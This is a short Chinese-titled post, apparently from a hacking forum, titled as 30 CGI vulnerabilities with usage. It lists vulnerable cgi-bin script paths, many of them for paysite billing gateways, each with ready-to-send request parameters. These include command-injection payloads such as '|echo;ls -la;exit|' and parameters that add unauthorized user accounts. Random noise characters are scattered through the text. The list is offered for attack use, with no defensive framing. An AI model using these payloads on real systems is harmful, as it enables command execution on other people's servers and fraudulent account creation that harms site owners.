Cgi-bin 30个漏洞＋使用方法

admin

==============================
1 @' z+ r; H/ y& h* d: s* E7 h! T# R
: m6 i* X) b& K/ ?& u0 G/ L: c/smspass.pl
7 K, V1 Q" y: dusername=username&password=password
. `. U, k/ ?5 g: @( u" n
) E9 R: ?& N/ g2 p3 S3 }. Q/index.cgi
wei=ren&gen=command
9 ]' r( D' {' H2 c* t
/passmaster.cgi
Action=Add&Username=Username&Password=Password

' }7 b3 \6 n" c* w/accountcreate.cgi
- ^& R; s7 s! D& P' Y6 w7 K! eusername=username&password=password&ref1=|echo;ls|
, N" z  L: \/ q$ b- O  h; k, k
/form.cgi
! M1 f7 \; \* Cname=xxxx&email=email&subject=xxxx&response=|echo;ls|

4 S$ L$ a! y9 C$ o0 J- X/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
, `3 C' P& k$ f9 y* g  a, a4 E
/ccbill-local.asp
post_values=username:password

/count.cgi
) Y8 N2 r, W- t5 ]8 spinfile=|echo;ls -la;exit|
7 e" @9 U- H/ ?5 z- N" V. z
$ E  m" k# ^: W3 U9 _& Y" i! s/recon.cgi
6 S  R! A" H% r' F/recon.cgi?search
: y: f) P3 P0 h& q% ]searchoption=1&searchfor=|echo;ls -al;exit|
( v+ e% {) O$ c9 k& E$ Y
/verotelrum.pl
6 o5 @6 \$ F! v3 L2 x9 kvercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|

" ]) Z& m2 C9 s4 }/modify.cgi
( h! G- N! ~4 d& N1 susername=username&password=password&expire=30

/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

7 k( h( A* n* J% a% H! }/ E! f8 ^$ z/gx9passwd.cgi
8 I3 l1 a+ k/ e2 w* ^cmd=ADD&user=username&pass=password

$ c# l& K, Q- `) Y. ^& O3 ]/probecontrol.cgi
command=enable&username=username&password=password
% q# t- M9 M- [7 b, Y* ~% H
5 M" N# o8 C; c: G. J  B0 S/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
$ \) z7 |: c3 s0 a
/ Y% v, q* e( I5 x( r$ L/htadd.pl
6 _& S2 Q' e; |; v. _$ k! K# ~6 Gconfigfile=|echo; ls -alt; exit

: M: P4 o, v* k/gx9passwd.cgi
* i4 W8 J+ Z+ X8 F, Ocmd=ADD&user=username&pass=password
( M. @  |" m1 [
/ibill*.pl
% [  m2 k: Q1 E3 `  N% L# Lreqtype=add&authpwd=authpwd&username=username&password=password
) T& i$ z- G, `+ R. a5 x
/cpay.cgi
% j! Y4 \. O2 Z- V; C0 c" \: rcommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
" p8 z- p( f. m) z. G7 h0 [$ [do=add&username=username&password=password&wpassword=password
! m- U" v4 [3 t. z" H, z
" J* I; Z" ?5 e/usercontrol.cgi
command=enable&username=USER&password=PASS
8 \" C5 ^3 m) U) P, J
/globoSALErum.cgi
( ^8 e; u8 q9 }% Taction=ADD&seccode=seccode&login=username&password=password
. `/ g# ]4 I. H$ |
/addusr.pl
user=USER&pass=PASS&confirm=PASS
) n9 P/ i/ z+ I/ X; F: P
/pincount.cgi
7 [. q# A- R) q' P& U/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
5 e( r2 |/ z. J1 K* D
. L# C: {% X7 D$ h/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
; B5 C4 @$ L. F" z9 N/env.cgi
ADD+;echo;pwd;exit

" F% s) N# ]! H! T- Y* {3 C  W- t/count.cgi
pinfile=|echo;pwd;exit|

5 ]5 f# o" Y' ?- G3 ]2 T: K' `/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
3 g; F1 \- h( a( @username=username&password=password&expire=30
' Y0 p  y: I) y, @
8 N" j! q2 x" J9 j==============================
# z) O% v/ [8 x& x3 N) `